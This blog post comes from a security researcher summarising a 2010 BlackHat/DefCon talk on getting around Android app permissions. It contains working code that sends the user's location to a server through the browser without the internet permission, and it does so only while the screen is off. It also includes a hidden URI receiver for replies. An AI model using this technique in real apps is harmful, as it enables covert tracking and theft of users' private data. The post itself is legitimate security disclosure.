Circumventing Android Permissions

August 6, 2010

I’m finally recovering from 6 days in Vegas last night where I spoke at both BlackHat and DefCon 18. My co-workers David Richardson, Tim Wyatt, and myself presented various ways we found around Android application permissions. Permissions that are typically required to gate access to various protected API’s and private user data. In a nominal situation, these permissions are displayed to the user during the install process. At that point the user can make a (somewhat) informed decision to grant the application the requested permissions. That security and trust tends to break down if the user can install an application that seemingly requests 0 permissions, all the while accessing private data and being able to communicate with a server elsewhere on the internet.

Overall I thought our talk went well. Although the only thing the press seemed to pick up on and talk about was the few minutes we spent discussing the community surrounding phone modification; specifically rooting, and ignored all the work we had done that we talked about. Yay media!

Anyway, here is one of the more interesting things we found that I thought I’d share. The ability to do bi-directional communication with a server without requesting android.permission.INTERNET in the Android manifest (courtesy of David Richardson). How you ask? Well, we can ask the browser to do it for us. An Intent can be launched with a URL containing the data to be sent to the server as a param.

Intent myIntent = new Intent(Intent.ACTION_VIEW, Uri.parse("http://www.example.com/data?lat="+lat+"&lon="+lon));
startActivity(myIntent);

This will launch the browser passing your arguments along with the URL as a GET request. This takes of one way communication, getting data out to the server. But doing so will pop up a browser that the user can see. If we try to hide the browser by opening starting another activity, the page wont load. As the browser activity will call onPause(). Since the phone is sitting in the person’s pocket all day, we can get around this by only trying to communicate with the server when the screen is off using the power manager to check the screen state! This will check to see if the screen is off, and if so fire up the browser with our GET request passing our data. If the screen is on, we just return back to the homescreen. The user will never see a browser.

          // Lets send if no one is looking!
          PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE);
          if (!pm.isScreenOn()) {
              Log.e("NetHack", "Screen off");
              startActivity(new Intent(Intent.ACTION_VIEW,
                  Uri.parse("http://mysite/data?lat=" + lat + "&lon=" + lon)).setFlags
                  (Intent.FLAG_ACTIVITY_NEW_TASK));
              mBrowserDisplayed = true;
          } else if (mBrowserDisplayed) {
              Log.e("NetHack", "Screen on");
              startActivity(new Intent(Intent.ACTION_MAIN).addCategory
                  (Intent.CATEGORY_HOME));
              mBrowserDisplayed = false;
          }

So now we can send data out, but how do we receive data back? One way we thought of was to do the same, but point the browser at a downloadable content type. This will download a file from the server that would contain any response data and store it on the SD card. Unfortunately, this will fill the top bar with notifications of downloaded files that you wont be able to clear. What if we registered a URI receiver? Google maps uses geo:latitude,longitude?zoom to automatically launch their app. If we register our own handler, say nethack:data?param=server_data, we can have our app launched, and pass any data in the URI to it. The server can redirect the page we requested earlier to pass our data to whatever URI we have setup to recieve.

		<!-- AndroidManifest.xml -->
		<activity android:name=".NetHackReceiver">
			<intent-filter>
				<action android:name="android.intent.action.VIEW"/>
				<category android:name="android.intent.category.DEFAULT"/>
				<category android:name="android.intent.category.BROWSABLE"/>
				<data android:scheme="nethack" android:host="data"/>
			</intent-filter>
		</activity>

Since this is a URI receiver, and is meant to be used for a foreground activity, we can just finish() our activity after handling the data before setting any kind of screen layout.

public class NetHackReceiver extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        Log.e("NetHack", "URI: " + getIntent().toURI());
        finish(); // So no one ever sees this activity
    }
}

You can see the logged data from the above code in the logcat output.

E/NetHack ( 8647): URI: nethack:data?param=MySecret
#Intent;action=android.intent.action.VIEW;category=android.intent.category.BROWSABLE;launchFlags=0x400000;component=com.lookout.nethack/.NetHack;end

Anyway, that was a brief preview of some of the various things we covered in our talk. If you’d like to check out the rest, read through the slides. Thanks to my co-presenters David Richardson and Tim Wyatt for the awesome work they did during our research!

BlackHat USA 2010 Slides

About these ads

One Response to “Circumventing Android Permissions”

  1. [...] This post was mentioned on Twitter by llII, paul_crane. paul_crane said: http://is.gd/e794e circumventing android permissions with example code. @jmuenster @Praeteritio #ngarua [...]

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Follow

Get every new post delivered to your Inbox.

%d bloggers like this: